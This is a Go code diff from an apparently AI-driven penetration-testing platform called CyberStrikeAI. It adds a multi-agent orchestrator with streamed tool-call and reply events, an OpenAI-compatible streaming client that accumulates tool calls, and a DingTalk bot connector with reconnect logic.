+			instr = "你是 CyberStrikeAI 中的专业子代理，在授权渗透测试场景下协助完成用户委托的子任务。优先使用可用工具获取证据，回答简洁专业。"
+		}
+
+		roleTools := sub.RoleTools
+		bind := strings.TrimSpace(sub.BindRole)
+		if bind != "" && appCfg.Roles != nil {
+			if r, ok := appCfg.Roles[bind]; ok && r.Enabled {
+				if len(roleTools) == 0 && len(r.Tools) > 0 {
+					roleTools = r.Tools
+				}
+				if len(r.Skills) > 0 {
+					var b strings.Builder
+					b.WriteString(instr)
+					b.WriteString("\n\n本角色推荐通过 list_skills / read_skill 按需加载的 Skills：")
+					for i, s := range r.Skills {
+						if i > 0 {
+							b.WriteString("、")
+						}
+						b.WriteString(s)
+					}
+					b.WriteString("。")
+					instr = b.String()
+				}
+			}
+		}
+
+		subModel, err := einoopenai.NewChatModel(ctx, baseModelCfg)
+		if err != nil {
+			return nil, fmt.Errorf("子代理 %q ChatModel: %w", id, err)
+		}
+
+		subDefs := ag.ToolsForRole(roleTools)
+		subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder)
+		if err != nil {
+			return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
+		}
+
+		subMax := sub.MaxIterations
+		if subMax <= 0 {
+			subMax = subDefaultIter
+		}
+
+		subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, logger)
+		if err != nil {
+			return nil, fmt.Errorf("子代理 %q summarization 中间件: %w", id, err)
+		}
+
+		sa, err := adk.NewChatModelAgent(ctx, &adk.ChatModelAgentConfig{
+			Name:        id,
+			Description: desc,
+			Instruction: instr,
+			Model:       subModel,
+			ToolsConfig: adk.ToolsConfig{
+				ToolsNodeConfig: compose.ToolsNodeConfig{
+					Tools: subTools,
+				},
+				EmitInternalEvents: true,
+			},
+			MaxIterations: subMax,
+			Handlers:      []adk.ChatModelAgentMiddleware{subSumMw},
+		})
+		if err != nil {
+			return nil, fmt.Errorf("子代理 %q: %w", id, err)
+		}
+		subAgents = append(subAgents, sa)
+	}
+
+	mainModel, err := einoopenai.NewChatModel(ctx, baseModelCfg)
+	if err != nil {
+		return nil, fmt.Errorf("Deep 主模型: %w", err)
+	}
+
+	mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, logger)
+	if err != nil {
+		return nil, fmt.Errorf("Deep 主代理 summarization 中间件: %w", err)
+	}
+
+	// 与 deep.Config.Name 一致。子代理的 assistant 正文也会经 EmitInternalEvents 流出，若全部当主回复会重复（编排器总结 + 子代理原文）。
+	orchestratorName := "cyberstrike-deep"
+	orchDescription := "Coordinates specialist agents and MCP tools for authorized security testing."
+	orchInstruction := strings.TrimSpace(ma.OrchestratorInstruction)
+	if orch != nil {
+		if strings.TrimSpace(orch.EinoName) != "" {
+			orchestratorName = strings.TrimSpace(orch.EinoName)
+		}
+		if d := strings.TrimSpace(orch.Description); d != "" {
+			orchDescription = d
+		}
+		if ins := strings.TrimSpace(orch.Instruction); ins != "" {
+			orchInstruction = ins
+		}
+	}
+	da, err := deep.New(ctx, &deep.Config{
+		Name:                   orchestratorName,
+		Description:            orchDescription,
+		ChatModel:              mainModel,
+		Instruction:            orchInstruction,
+		SubAgents:              subAgents,
+		WithoutGeneralSubAgent: ma.WithoutGeneralSubAgent,
+		WithoutWriteTodos:      ma.WithoutWriteTodos,
+		MaxIteration:           deepMaxIter,
+		Handlers:               []adk.ChatModelAgentMiddleware{mainSumMw},
+		ToolsConfig: adk.ToolsConfig{
+			ToolsNodeConfig: compose.ToolsNodeConfig{
+				Tools: mainTools,
+			},
+			EmitInternalEvents: true,
+		},
+	})
+	if err != nil {
+		return nil, fmt.Errorf("deep.New: %w", err)
+	}
+
+	msgs := historyToMessages(history)
+	msgs = append(msgs, schema.UserMessage(userMessage))
+
+	runner := adk.NewRunner(ctx, adk.RunnerConfig{
+		Agent:           da,
+		EnableStreaming: true,
+	})
+	iter := runner.Run(ctx, msgs)
+
+	streamsMainAssistant := func(agent string) bool {
+		return agent == "" || agent == orchestratorName
+	}
+
+	var lastAssistant string
+	var reasoningStreamSeq int64
+	var einoSubReplyStreamSeq int64
+	toolEmitSeen := make(map[string]struct{})
+	for {
+		ev, ok := iter.Next()
+		if !ok {
+			break
+		}
+		if ev == nil {
+			continue
+		}
+		if ev.Err != nil {
+			if progress != nil {
+				progress("error", ev.Err.Error(), map[string]interface{}{
+					"conversationId": conversationID,
+					"source":         "eino",
+				})
+			}
+			return nil, ev.Err
+		}
+		if ev.AgentName != "" && progress != nil {
+			progress("progress", fmt.Sprintf("[Eino] %s", ev.AgentName), map[string]interface{}{
+				"conversationId": conversationID,
+				"einoAgent":      ev.AgentName,
+			})
+		}
+		if ev.Output == nil || ev.Output.MessageOutput == nil {
+			continue
+		}
+		mv := ev.Output.MessageOutput
+
+		if mv.IsStreaming && mv.MessageStream != nil {
+			streamHeaderSent := false
+			var reasoningStreamID string
+			var toolStreamFragments []schema.ToolCall
+			var subAssistantBuf strings.Builder
+			var subReplyStreamID string
+			for {
+				chunk, rerr := mv.MessageStream.Recv()
+				if rerr != nil {
+					if errors.Is(rerr, io.EOF) {
+						break
+					}
+					if logger != nil {
+						logger.Warn("eino stream recv", zap.Error(rerr))
+					}
+					break
+				}
+				if chunk == nil {
+					continue
+				}
+				if progress != nil && strings.TrimSpace(chunk.ReasoningContent) != "" {
+					if reasoningStreamID == "" {
+						reasoningStreamID = fmt.Sprintf("eino-reasoning-%s-%d", conversationID, atomic.AddInt64(&reasoningStreamSeq, 1))
+						progress("thinking_stream_start", " ", map[string]interface{}{
+							"streamId":  reasoningStreamID,
+							"source":    "eino",
+							"einoAgent": ev.AgentName,
+						})
+					}
+					progress("thinking_stream_delta", chunk.ReasoningContent, map[string]interface{}{
+						"streamId": reasoningStreamID,
+					})
+				}
+				if chunk.Content != "" {
+					if progress != nil && streamsMainAssistant(ev.AgentName) {
+						if !streamHeaderSent {
+							progress("response_start", "", map[string]interface{}{
+								"conversationId":     conversationID,
+								"mcpExecutionIds":    snapshotMCPIDs(),
+								"messageGeneratedBy": "eino:" + ev.AgentName,
+							})
+							streamHeaderSent = true
+						}
+						progress("response_delta", chunk.Content, map[string]interface{}{
+							"conversationId":  conversationID,
+							"mcpExecutionIds": snapshotMCPIDs(),
+						})
+						lastAssistant += chunk.Content
+					} else if !streamsMainAssistant(ev.AgentName) {
+						if progress != nil {
+							if subReplyStreamID == "" {
+								subReplyStreamID = fmt.Sprintf("eino-sub-reply-%s-%d", conversationID, atomic.AddInt64(&einoSubReplyStreamSeq, 1))
+								progress("eino_agent_reply_stream_start", "", map[string]interface{}{
+									"streamId":       subReplyStreamID,
+									"einoAgent":      ev.AgentName,
+									"conversationId": conversationID,
+									"source":         "eino",
+								})
+							}
+							progress("eino_agent_reply_stream_delta", chunk.Content, map[string]interface{}{
+								"streamId":       subReplyStreamID,
+								"conversationId": conversationID,
+							})
+						}
+						subAssistantBuf.WriteString(chunk.Content)
+					}
+				}
+				// 收集流式 tool_calls 全部分片；arguments 在最后一帧常为 ""，需按 index/id 合并后才能展示 subagent_type/description。
+				if len(chunk.ToolCalls) > 0 {
+					toolStreamFragments = append(toolStreamFragments, chunk.ToolCalls...)
+				}
+			}
+			if subAssistantBuf.Len() > 0 && progress != nil {
+				if s := strings.TrimSpace(subAssistantBuf.String()); s != "" {
+					if subReplyStreamID != "" {
+						progress("eino_agent_reply_stream_end", s, map[string]interface{}{
+							"streamId":       subReplyStreamID,
+							"einoAgent":      ev.AgentName,
+							"conversationId": conversationID,
+							"source":         "eino",
+						})
+					} else {
+						progress("eino_agent_reply", s, map[string]interface{}{
+							"conversationId": conversationID,
+							"einoAgent":      ev.AgentName,
+							"source":         "eino",
+						})
+					}
+				}
+			}
+			var lastToolChunk *schema.Message
+			if merged := mergeStreamingToolCallFragments(toolStreamFragments); len(merged) > 0 {
+				lastToolChunk = &schema.Message{ToolCalls: merged}
+			}
+			tryEmitToolCallsOnce(lastToolChunk, ev.AgentName, conversationID, progress, toolEmitSeen)
+			continue
+		}
+
+		msg, gerr := mv.GetMessage()
+		if gerr != nil || msg == nil {
+			continue
+		}
+		tryEmitToolCallsOnce(mergeMessageToolCalls(msg), ev.AgentName, conversationID, progress, toolEmitSeen)
+
+		if mv.Role == schema.Assistant {
+			if progress != nil && strings.TrimSpace(msg.ReasoningContent) != "" {
+				progress("thinking", strings.TrimSpace(msg.ReasoningContent), map[string]interface{}{
+					"conversationId": conversationID,
+					"source":         "eino",
+					"einoAgent":      ev.AgentName,
+				})
+			}
+			body := strings.TrimSpace(msg.Content)
+			if body != "" {
+				if streamsMainAssistant(ev.AgentName) {
+					if progress != nil {
+						progress("response_start", "", map[string]interface{}{
+							"conversationId":     conversationID,
+							"mcpExecutionIds":    snapshotMCPIDs(),
+							"messageGeneratedBy": "eino:" + ev.AgentName,
+						})
+						progress("response_delta", body, map[string]interface{}{
+							"conversationId":  conversationID,
+							"mcpExecutionIds": snapshotMCPIDs(),
+						})
+					}
+					lastAssistant += body
+				} else if progress != nil {
+					progress("eino_agent_reply", body, map[string]interface{}{
+						"conversationId": conversationID,
+						"einoAgent":      ev.AgentName,
+						"source":         "eino",
+					})
+				}
+			}
+		}
+
+		if mv.Role == schema.Tool && progress != nil {
+			toolName := msg.ToolName
+			if toolName == "" {
+				toolName = mv.ToolName
+			}
+			preview := msg.Content
+			if len(preview) > 200 {
+				preview = preview[:200] + "..."
+			}
+			data := map[string]interface{}{
+				"toolName":       toolName,
+				"success":        true,
+				"result":         msg.Content,
+				"resultPreview":  preview,
+				"conversationId": conversationID,
+				"einoAgent":      ev.AgentName,
+				"source":         "eino",
+			}
+			if msg.ToolCallID != "" {
+				data["toolCallId"] = msg.ToolCallID
+			}
+			progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
+		}
+	}
+
+	mcpIDsMu.Lock()
+	ids := append([]string(nil), mcpIDs...)
+	mcpIDsMu.Unlock()
+
+	histJSON, _ := json.Marshal(msgs)
+	cleaned := strings.TrimSpace(lastAssistant)
+	cleaned = dedupeRepeatedParagraphs(cleaned, 80)
+	cleaned = dedupeParagraphsByLineFingerprint(cleaned, 100)
+	out := &RunResult{
+		Response:        cleaned,
+		MCPExecutionIDs: ids,
+		LastReActInput:  string(histJSON),
+		LastReActOutput: cleaned,
+	}
+	if out.Response == "" {
+		out.Response = "（Eino DeepAgent 已完成，但未捕获到助手文本输出。请查看过程详情或日志。）"
+		out.LastReActOutput = out.Response
+	}
+	return out, nil
+}
+
+func historyToMessages(history []agent.ChatMessage) []adk.Message {
+	if len(history) == 0 {
+		return nil
+	}
+	// 放宽条数上限：跨轮历史交给 Eino Summarization（阈值对齐 openai.max_total_tokens）在调用模型前压缩，避免在入队前硬截断为 40 条。
+	const maxHistoryMessages = 300
+	start := 0
+	if len(history) > maxHistoryMessages {
+		start = len(history) - maxHistoryMessages
+	}
+	out := make([]adk.Message, 0, len(history[start:]))
+	for _, h := range history[start:] {
+		switch h.Role {
+		case "user":
+			if strings.TrimSpace(h.Content) != "" {
+				out = append(out, schema.UserMessage(h.Content))
+			}
+		case "assistant":
+			if strings.TrimSpace(h.Content) == "" && len(h.ToolCalls) > 0 {
+				continue
+			}
+			if strings.TrimSpace(h.Content) != "" {
+				out = append(out, schema.AssistantMessage(h.Content, nil))
+			}
+		default:
+			continue
+		}
+	}
+	return out
+}
+
+// mergeStreamingToolCallFragments 将流式多帧的 ToolCall 按 index 合并 arguments（与 schema.concatToolCalls 行为一致）。
+func mergeStreamingToolCallFragments(fragments []schema.ToolCall) []schema.ToolCall {
+	if len(fragments) == 0 {
+		return nil
+	}
+	m, err := schema.ConcatMessages([]*schema.Message{{ToolCalls: fragments}})
+	if err != nil || m == nil {
+		return fragments
+	}
+	return m.ToolCalls
+}
+
+// mergeMessageToolCalls 非流式路径上若仍带分片式 tool_calls，合并后再上报 UI。
+func mergeMessageToolCalls(msg *schema.Message) *schema.Message {
+	if msg == nil || len(msg.ToolCalls) == 0 {
+		return msg
+	}
+	m, err := schema.ConcatMessages([]*schema.Message{msg})
+	if err != nil || m == nil {
+		return msg
+	}
+	out := *msg
+	out.ToolCalls = m.ToolCalls
+	return &out
+}
+
+// toolCallStableID 用于流式阶段去重；OpenAI 流式常先给 index 后补 id。
+func toolCallStableID(tc schema.ToolCall) string {
+	if tc.ID != "" {
+		return tc.ID
+	}
+	if tc.Index != nil {
+		return fmt.Sprintf("idx:%d", *tc.Index)
+	}
+	return ""
+}
+
+// toolCallDisplayName 避免前端「未知工具」：DeepAgent 内置 task 等可能延迟写入 function.name。
+func toolCallDisplayName(tc schema.ToolCall) string {
+	if n := strings.TrimSpace(tc.Function.Name); n != "" {
+		return n
+	}
+	if n := strings.TrimSpace(tc.Type); n != "" && !strings.EqualFold(n, "function") {
+		return n
+	}
+	return "task"
+}
+
+// toolCallsSignatureFlush 用于去重键；无 id/index 时用占位 pos，避免流末帧缺 id 时整条工具事件丢失。
+func toolCallsSignatureFlush(msg *schema.Message) string {
+	if msg == nil || len(msg.ToolCalls) == 0 {
+		return ""
+	}
+	parts := make([]string, 0, len(msg.ToolCalls))
+	for i, tc := range msg.ToolCalls {
+		id := toolCallStableID(tc)
+		if id == "" {
+			id = fmt.Sprintf("pos:%d", i)
+		}
+		parts = append(parts, id+"|"+toolCallDisplayName(tc))
+	}
+	sort.Strings(parts)
+	return strings.Join(parts, ";")
+}
+
+// toolCallsRichSignature 用于去重：同一次流式已上报后，紧随其后的非流式消息常带相同 tool_calls。
+func toolCallsRichSignature(msg *schema.Message) string {
+	base := toolCallsSignatureFlush(msg)
+	if base == "" {
+		return ""
+	}
+	parts := make([]string, 0, len(msg.ToolCalls))
+	for _, tc := range msg.ToolCalls {
+		id := toolCallStableID(tc)
+		arg := tc.Function.Arguments
+		if len(arg) > 240 {
+			arg = arg[:240]
+		}
+		parts = append(parts, id+":"+arg)
+	}
+	sort.Strings(parts)
+	return base + "|" + strings.Join(parts, ";")
+}
+
+func tryEmitToolCallsOnce(msg *schema.Message, agentName, conversationID string, progress func(string, string, interface{}), seen map[string]struct{}) {
+	if msg == nil || len(msg.ToolCalls) == 0 || progress == nil || seen == nil {
+		return
+	}
+	if toolCallsSignatureFlush(msg) == "" {
+		return
+	}
+	sig := agentName + "\x1e" + toolCallsRichSignature(msg)
+	if _, ok := seen[sig]; ok {
+		return
+	}
+	seen[sig] = struct{}{}
+	emitToolCallsFromMessage(msg, agentName, conversationID, progress)
+}
+
+func emitToolCallsFromMessage(msg *schema.Message, agentName, conversationID string, progress func(string, string, interface{})) {
+	if msg == nil || len(msg.ToolCalls) == 0 || progress == nil {
+		return
+	}
+	progress("tool_calls_detected", fmt.Sprintf("检测到 %d 个工具调用", len(msg.ToolCalls)), map[string]interface{}{
+		"count":          len(msg.ToolCalls),
+		"conversationId": conversationID,
+		"source":         "eino",
+		"einoAgent":      agentName,
+	})
+	for idx, tc := range msg.ToolCalls {
+		argStr := strings.TrimSpace(tc.Function.Arguments)
+		if argStr == "" && len(tc.Extra) > 0 {
+			if b, mErr := json.Marshal(tc.Extra); mErr == nil {
+				argStr = string(b)
+			}
+		}
+		var argsObj map[string]interface{}
+		if argStr != "" {
+			if uErr := json.Unmarshal([]byte(argStr), &argsObj); uErr != nil || argsObj == nil {
+				argsObj = map[string]interface{}{"_raw": argStr}
+			}
+		}
+		display := toolCallDisplayName(tc)
+		toolCallID := tc.ID
+		if toolCallID == "" && tc.Index != nil {
+			toolCallID = fmt.Sprintf("eino-stream-%d", *tc.Index)
+		}
+		progress("tool_call", fmt.Sprintf("正在调用工具: %s", display), map[string]interface{}{
+			"toolName":       display,
+			"arguments":      argStr,
+			"argumentsObj":   argsObj,
+			"toolCallId":     toolCallID,
+			"index":          idx + 1,
+			"total":          len(msg.ToolCalls),
+			"conversationId": conversationID,
+			"source":         "eino",
+			"einoAgent":      agentName,
+		})
+	}
+}
+
+// dedupeRepeatedParagraphs 去掉完全相同的连续/重复段落，缓解多代理各自复述同一列表。
+func dedupeRepeatedParagraphs(s string, minLen int) string {
+	if s == "" || minLen <= 0 {
+		return s
+	}
+	paras := strings.Split(s, "\n\n")
+	var out []string
+	seen := make(map[string]bool)
+	for _, p := range paras {
+		t := strings.TrimSpace(p)
+		if len(t) < minLen {
+			out = append(out, p)
+			continue
+		}
+		if seen[t] {
+			continue
+		}
+		seen[t] = true
+		out = append(out, p)
+	}
+	return strings.TrimSpace(strings.Join(out, "\n\n"))
+}
+
+// dedupeParagraphsByLineFingerprint 去掉「正文行集合相同」的重复段落（开场白略不同也会合并），缓解多代理各写一遍目录清单。
+func dedupeParagraphsByLineFingerprint(s string, minParaLen int) string {
+	if s == "" || minParaLen <= 0 {
+		return s
+	}
+	paras := strings.Split(s, "\n\n")
+	var out []string
+	seen := make(map[string]bool)
+	for _, p := range paras {
+		t := strings.TrimSpace(p)
+		if len(t) < minParaLen {
+			out = append(out, p)
+			continue
+		}
+		fp := paragraphLineFingerprint(t)
+		// 指纹仅在「≥4 条非空行」时有效；单行/短段落长回复（如自我介绍）fp 为空，必须保留，否则会误删全文并触发「未捕获到助手文本」占位。
+		if fp == "" {
+			out = append(out, p)
+			continue
+		}
+		if seen[fp] {
+			continue
+		}
+		seen[fp] = true
+		out = append(out, p)
+	}
+	return strings.TrimSpace(strings.Join(out, "\n\n"))
+}
+
+func paragraphLineFingerprint(t string) string {
+	lines := strings.Split(t, "\n")
+	norm := make([]string, 0, len(lines))
+	for _, L := range lines {
+		s := strings.TrimSpace(L)
+		if s == "" {
+			continue
+		}
+		norm = append(norm, s)
+	}
+	if len(norm) < 4 {
+		return ""
+	}
+	sort.Strings(norm)
+	return strings.Join(norm, "\x1e")
+}

internal/openai/openai.go

@@ -1,6 +1,7 @@
 package openai
 
 import (
+	"bufio"
 	"bytes"
 	"context"
 	"encoding/json"
@@ -142,3 +143,342 @@ func (c *Client) ChatCompletion(ctx context.Context, payload interface{}, out in
 
 	return nil
 }
+
+// ChatCompletionStream 调用 /chat/completions 的流式模式（stream=true），并在每个 delta 到达时回调 onDelta。
+// 返回最终拼接的 content（只拼 content delta；工具调用 delta 未做处理）。
+func (c *Client) ChatCompletionStream(ctx context.Context, payload interface{}, onDelta func(delta string) error) (string, error) {
+	if c == nil {
+		return "", fmt.Errorf("openai client is not initialized")
+	}
+	if c.config == nil {
+		return "", fmt.Errorf("openai config is nil")
+	}
+	if strings.TrimSpace(c.config.APIKey) == "" {
+		return "", fmt.Errorf("openai api key is empty")
+	}
+
+	baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
+	if baseURL == "" {
+		baseURL = "https://api.openai.com/v1"
+	}
+
+	body, err := json.Marshal(payload)
+	if err != nil {
+		return "", fmt.Errorf("marshal openai payload: %w", err)
+	}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
+	if err != nil {
+		return "", fmt.Errorf("build openai request: %w", err)
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
+
+	requestStart := time.Now()
+	resp, err := c.httpClient.Do(req)
+	if err != nil {
+		return "", fmt.Errorf("call openai api: %w", err)
+	}
+	defer resp.Body.Close()
+
+	// 非200：读完 body 返回
+	if resp.StatusCode != http.StatusOK {
+		respBody, _ := io.ReadAll(resp.Body)
+		return "", &APIError{
+			StatusCode: resp.StatusCode,
+			Body:       string(respBody),
+		}
+	}
+
+	type streamDelta struct {
+		// OpenAI 兼容流式通常使用 content；但部分兼容实现可能用 text。
+		Content string `json:"content,omitempty"`
+		Text    string `json:"text,omitempty"`
+	}
+	type streamChoice struct {
+		Delta        streamDelta `json:"delta"`
+		FinishReason *string     `json:"finish_reason,omitempty"`
+	}
+	type streamResponse struct {
+		ID      string         `json:"id,omitempty"`
+		Choices []streamChoice `json:"choices"`
+		Error   *struct {
+			Message string `json:"message"`
+			Type    string `json:"type"`
+		} `json:"error,omitempty"`
+	}
+
+	reader := bufio.NewReader(resp.Body)
+	var full strings.Builder
+
+	// 典型 SSE 结构：
+	// data: {...}\n\n
+	// data: [DONE]\n\n
+	for {
+		line, readErr := reader.ReadString('\n')
+		if readErr != nil {
+			if readErr == io.EOF {
+				break
+			}
+			return full.String(), fmt.Errorf("read openai stream: %w", readErr)
+		}
+		trimmed := strings.TrimSpace(line)
+		if trimmed == "" {
+			continue
+		}
+		if !strings.HasPrefix(trimmed, "data:") {
+			continue
+		}
+		dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
+		if dataStr == "[DONE]" {
+			break
+		}
+
+		var chunk streamResponse
+		if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
+			// 解析失败跳过（兼容各种兼容层的差异）
+			continue
+		}
+		if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
+			return full.String(), fmt.Errorf("openai stream error: %s", chunk.Error.Message)
+		}
+		if len(chunk.Choices) == 0 {
+			continue
+		}
+
+		delta := chunk.Choices[0].Delta.Content
+		if delta == "" {
+			delta = chunk.Choices[0].Delta.Text
+		}
+		if delta == "" {
+			continue
+		}
+
+		full.WriteString(delta)
+		if onDelta != nil {
+			if err := onDelta(delta); err != nil {
+				return full.String(), err
+			}
+		}
+	}
+
+	c.logger.Debug("received OpenAI stream completion",
+		zap.Duration("duration", time.Since(requestStart)),
+		zap.Int("contentLen", full.Len()),
+	)
+
+	return full.String(), nil
+}
+
+// StreamToolCall 流式工具调用的累积结果（arguments 以字符串形式拼接，留给上层再解析为 JSON）。
+type StreamToolCall struct {
+	Index            int
+	ID               string
+	Type             string
+	FunctionName    string
+	FunctionArgsStr string
+}
+
+// ChatCompletionStreamWithToolCalls 流式模式：同时把 content delta 实时回调，并在结束后返回 tool_calls 和 finish_reason。
+func (c *Client) ChatCompletionStreamWithToolCalls(
+	ctx context.Context,
+	payload interface{},
+	onContentDelta func(delta string) error,
+) (string, []StreamToolCall, string, error) {
+	if c == nil {
+		return "", nil, "", fmt.Errorf("openai client is not initialized")
+	}
+	if c.config == nil {
+		return "", nil, "", fmt.Errorf("openai config is nil")
+	}
+	if strings.TrimSpace(c.config.APIKey) == "" {
+		return "", nil, "", fmt.Errorf("openai api key is empty")
+	}
+
+	baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
+	if baseURL == "" {
+		baseURL = "https://api.openai.com/v1"
+	}
+
+	body, err := json.Marshal(payload)
+	if err != nil {
+		return "", nil, "", fmt.Errorf("marshal openai payload: %w", err)
+	}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
+	if err != nil {
+		return "", nil, "", fmt.Errorf("build openai request: %w", err)
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
+
+	requestStart := time.Now()
+	resp, err := c.httpClient.Do(req)
+	if err != nil {
+		return "", nil, "", fmt.Errorf("call openai api: %w", err)
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		respBody, _ := io.ReadAll(resp.Body)
+		return "", nil, "", &APIError{
+			StatusCode: resp.StatusCode,
+			Body:       string(respBody),
+		}
+	}
+
+	// delta tool_calls 的增量结构
+	type toolCallFunctionDelta struct {
+		Name      string `json:"name,omitempty"`
+		Arguments string `json:"arguments,omitempty"`
+	}
+	type toolCallDelta struct {
+		Index    int                     `json:"index,omitempty"`
+		ID       string                  `json:"id,omitempty"`
+		Type     string                  `json:"type,omitempty"`
+		Function toolCallFunctionDelta  `json:"function,omitempty"`
+	}
+	type streamDelta2 struct {
+		Content   string          `json:"content,omitempty"`
+		Text      string          `json:"text,omitempty"`
+		ToolCalls []toolCallDelta `json:"tool_calls,omitempty"`
+	}
+	type streamChoice2 struct {
+		Delta        streamDelta2 `json:"delta"`
+		FinishReason *string      `json:"finish_reason,omitempty"`
+	}
+	type streamResponse2 struct {
+		Choices []streamChoice2 `json:"choices"`
+		Error   *struct {
+			Message string `json:"message"`
+			Type    string `json:"type"`
+		} `json:"error,omitempty"`
+	}
+
+	type toolCallAccum struct {
+		id    string
+		typ   string
+		name  string
+		args  strings.Builder
+	}
+	toolCallAccums := make(map[int]*toolCallAccum)
+
+	reader := bufio.NewReader(resp.Body)
+	var full strings.Builder
+	finishReason := ""
+
+	for {
+		line, readErr := reader.ReadString('\n')
+		if readErr != nil {
+			if readErr == io.EOF {
+				break
+			}
+			return full.String(), nil, finishReason, fmt.Errorf("read openai stream: %w", readErr)
+		}
+		trimmed := strings.TrimSpace(line)
+		if trimmed == "" {
+			continue
+		}
+		if !strings.HasPrefix(trimmed, "data:") {
+			continue
+		}
+		dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
+		if dataStr == "[DONE]" {
+			break
+		}
+
+		var chunk streamResponse2
+		if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
+			// 兼容：解析失败跳过
+			continue
+		}
+		if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
+			return full.String(), nil, finishReason, fmt.Errorf("openai stream error: %s", chunk.Error.Message)
+		}
+		if len(chunk.Choices) == 0 {
+			continue
+		}
+
+		choice := chunk.Choices[0]
+		if choice.FinishReason != nil && strings.TrimSpace(*choice.FinishReason) != "" {
+			finishReason = strings.TrimSpace(*choice.FinishReason)
+		}
+
+		delta := choice.Delta
+
+		content := delta.Content
+		if content == "" {
+			content = delta.Text
+		}
+		if content != "" {
+			full.WriteString(content)
+			if onContentDelta != nil {
+				if err := onContentDelta(content); err != nil {
+					return full.String(), nil, finishReason, err
+				}
+			}
+		}
+
+		if len(delta.ToolCalls) > 0 {
+			for _, tc := range delta.ToolCalls {
+				acc, ok := toolCallAccums[tc.Index]
+				if !ok {
+					acc = &toolCallAccum{}
+					toolCallAccums[tc.Index] = acc
+				}
+				if tc.ID != "" {
+					acc.id = tc.ID
+				}
+				if tc.Type != "" {
+					acc.typ = tc.Type
+				}
+				if tc.Function.Name != "" {
+					acc.name = tc.Function.Name
+				}
+				if tc.Function.Arguments != "" {
+					acc.args.WriteString(tc.Function.Arguments)
+				}
+			}
+		}
+	}
+
+	// 组装 tool calls
+	indices := make([]int, 0, len(toolCallAccums))
+	for idx := range toolCallAccums {
+		indices = append(indices, idx)
+	}
+	// 手写简单排序（避免额外 import）
+	for i := 0; i < len(indices); i++ {
+		for j := i + 1; j < len(indices); j++ {
+			if indices[j] < indices[i] {
+				indices[i], indices[j] = indices[j], indices[i]
+			}
+		}
+	}
+
+	toolCalls := make([]StreamToolCall, 0, len(indices))
+	for _, idx := range indices {
+		acc := toolCallAccums[idx]
+		tc := StreamToolCall{
+			Index:            idx,
+			ID:               acc.id,
+			Type:             acc.typ,
+			FunctionName:    acc.name,
+			FunctionArgsStr: acc.args.String(),
+		}
+		toolCalls = append(toolCalls, tc)
+	}
+
+	c.logger.Debug("received OpenAI stream completion (tool_calls)",
+		zap.Duration("duration", time.Since(requestStart)),
+		zap.Int("contentLen", full.Len()),
+		zap.Int("toolCalls", len(toolCalls)),
+		zap.String("finishReason", finishReason),
+	)
+
+	if strings.TrimSpace(finishReason) == "" {
+		finishReason = "stop"
+	}
+
+	return full.String(), toolCalls, finishReason, nil
+}

internal/robot/conn.go

@@ -0,0 +1,6 @@
+package robot
+
+// MessageHandler 供飞书/钉钉长连接调用的消息处理接口（由 handler.RobotHandler 实现）
+type MessageHandler interface {
+	HandleMessage(platform, userID, text string) string
+}

internal/robot/ding.go

@@ -0,0 +1,137 @@
+package robot
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"net/http"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"github.com/open-dingtalk/dingtalk-stream-sdk-go/chatbot"
+	"github.com/open-dingtalk/dingtalk-stream-sdk-go/client"
+	dingutils "github.com/open-dingtalk/dingtalk-stream-sdk-go/utils"
+	"go.uber.org/zap"
+)
+
+const (
+	dingReconnectInitial = 5 * time.Second  // 首次重连间隔
+	dingReconnectMax     = 60 * time.Second // 最大重连间隔
+)
+
+// StartDing 启动钉钉 Stream 长连接（无需公网），收到消息后调用 handler 并通过 SessionWebhook 回复。
+// 断线（如笔记本睡眠、网络中断）后会自动重连；ctx 被取消时退出，便于配置变更时重启。
+func StartDing(ctx context.Context, cfg config.RobotDingtalkConfig, h MessageHandler, logger *zap.Logger) {
+	if !cfg.Enabled || cfg.ClientID == "" || cfg.ClientSecret == "" {
+		return
+	}
+	go runDingLoop(ctx, cfg, h, logger)
+}
+
+// runDingLoop 循环维持钉钉长连接：断开且 ctx 未取消时按退避间隔重连。
+func runDingLoop(ctx context.Context, cfg config.RobotDingtalkConfig, h MessageHandler, logger *zap.Logger) {
+	backoff := dingReconnectInitial
+	for {
+		streamClient := client.NewStreamClient(
+			client.WithAppCredential(client.NewAppCredentialConfig(cfg.ClientID, cfg.ClientSecret)),
+			client.WithSubscription(dingutils.SubscriptionTypeKCallback, "/v1.0/im/bot/messages/get",
+				chatbot.NewDefaultChatBotFrameHandler(func(ctx context.Context, msg *chatbot.BotCallbackDataModel) ([]byte, error) {
+					go handleDingMessage(ctx, msg, h, logger)
+					return nil, nil
+				}).OnEventReceived),
+		)
+		logger.Info("钉钉 Stream 正在连接…", zap.String("client_id", cfg.ClientID))
+		err := streamClient.Start(ctx)
+		if ctx.Err() != nil {
+			logger.Info("钉钉 Stream 已按配置重启关闭")
+			return
+		}
+		if err != nil {
+			logger.Warn("钉钉 Stream 长连接断开（如睡眠/断网），将自动重连", zap.Error(err), zap.Duration("retry_after", backoff))
+		}
+		select {
+		case <-ctx.Done():
+			return
+		case <-time.After(backoff):
+			// 下次重连间隔递增，上限 60 秒，避免频繁重试
+			if backoff < dingReconnectMax {
